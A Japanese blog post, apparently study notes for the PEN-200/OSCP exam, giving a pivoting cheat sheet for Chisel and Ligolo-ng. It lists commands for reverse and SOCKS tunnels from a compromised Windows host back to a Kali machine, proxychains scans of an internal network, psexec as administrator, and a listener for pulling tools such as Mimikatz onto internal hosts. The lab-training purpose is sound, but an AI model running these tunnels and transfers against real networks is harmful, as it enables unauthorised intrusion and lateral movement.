🦅

PEN-200 Pivot CheatSheet [Ligolo-ng]

2024/04/02に公開

個人的にPEN-200、OSCPの勉強でよく使ったやつを選びました
基本的にLigolo-ng、権限がなくうまく動作しない時はChiselという風に使い分けました

Chisel

Reverse socks proxy

侵入済みマシンのローカルポートにアクセスしたい時によく使います

Kali

# chisel server --reverse --port <kali-port>
chisel server --reverse --port 9002

Target Windows

# kali:3306 → Win:3306
# .\chisel.exe client <kali-ip>:<kali-port> R:3306:localhost:3306
# kali:1433 → Win:1433 & kali:8080 → Win:8888
.\chisel.exe client 192.168.45.10:9002 R:1433:localhost:1433 R:8080:localhost:8888

Dynamic socks proxy

ADセットでローカルネットワーク内のマシンにアクセスしたい時に使います
基本後述のLigolo-ngを使いますが権限がなくて使えない時に仕方なくChiselを使います

Target Windows

# .\chisel.exe server --socks5 --port <windows-port>
.\chisel.exe server --socks5 --port 51234

Kali

# chisel client <windows-ip>:<windows-port> <kali-port>:socks
chisel client 192.168.100.100:51234 1080:socks

Kali

cat /etc/proxychains4.conf
# socks proxy書いてなかったら下記を追記
# socks5 127.0.0.1 1080

Kali

# Nmapは-sTで
# proxychains nmap -p 445 -sT <internal-ip>
proxychains nmap --top-port 20 -sT 10.10.100.150
proxychains -q  nmap -p 389 -sT --script ldap* 10.10.100.150

Ligolo-ng

ADセットでローカルネットワーク内のマシンにアクセスしたい時に使います
使いやすくておすすめです

https://github.com/nicocha30/ligolo-ng
必要な権限

Everything can be performed without administrative access.
However, on your relay/proxy server, you need to be able to create a tun interface.

Setup Tunneling

Kali

ip tuntap add user root mode tun ligolo
ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:9001

Target

# Windows
# ./agent.exe -connect <kali-ip>:9001 -ignore-cert
./agent.exe -connect 192.168.45.10:9001 -ignore-cert
# Linux
.\agent -connect 192.168.45.10:9001 -ignore-cert

Kali

# ligolo serverで
ligolo-ng » session 
? Specify a session : 1 - TEST\Administrator@TEST - 192.168.100.100:64322
[Agent : TEST\Administrator@TEST] » start 
[Agent : TEST\Administrator@TEST] » INFO[0226] Starting tunnel to TEST\Administrator@TEST   
[Agent : TEST\Administrator@TEST] » 
[Agent : TEST\Administrator@TEST] » ifconfig 
┌───────────────────────────────────────────────┐
│ Interface 0                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ Ethernet0                      │
│ Hardware MAC │ 00:50:56:ab:67:fd              │
│ MTU          │ 1500                           │
│ Flags        │ up|broadcast|multicast|running │
│ IPv4 Address │ 192.168.100.100/24             │
└──────────────┴────────────────────────────────┘
┌───────────────────────────────────────────────┐
│ Interface 1                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ Ethernet1                      │
│ Hardware MAC │ 00:50:56:ab:90:55              │
│ MTU          │ 1500                           │
│ Flags        │ up|broadcast|multicast|running │
│ IPv4 Address │ 10.10.100.100/24               │
└──────────────┴────────────────────────────────┘
┌──────────────────────────────────────────────┐
│ Interface 2                                  │
├──────────────┬───────────────────────────────┤
│ Name         │ Loopback Pseudo-Interface 1   │
│ Hardware MAC │                               │
│ MTU          │ -1                            │
│ Flags        │ up|loopback|multicast|running │
│ IPv6 Address │ ::1/128                       │
│ IPv4 Address │ 127.0.0.1/8                   │
└──────────────┴───────────────────────────────┘
[Agent : TEST\Administrator@TEST] »  

Kali

# ifconfigでcidr確認してルーティング追加
ip route add 10.10.100.0/24 dev ligolo

Kali

# impacket-psexec administrator@<internal-ip>
impacket-psexec administrator@10.10.100.150

Listener

ツール転送等でローカルネットワーク内のマシンからKali上のHTTPサーバにアクセスしたい時によく使います
例えばローカルネットワーク内のClient1にMimikatzを送りたいとか

Add listener

Kali

listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp

Remote Host

# powershell curl 192.168.45.10:80/test.txt -outfile test.txt
# というコマンドを打ちたい時
powershell curl 10.10.100.100:80/test.txt -outfile test.txt
# 10.10.100.100:80が192.168.45.10:80(127.0.0.1:80)に転送される

Stop listener

Kali

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.

間違いのご指摘、答えられるかわかりませんがご質問があればお気軽にDMください!

Discussion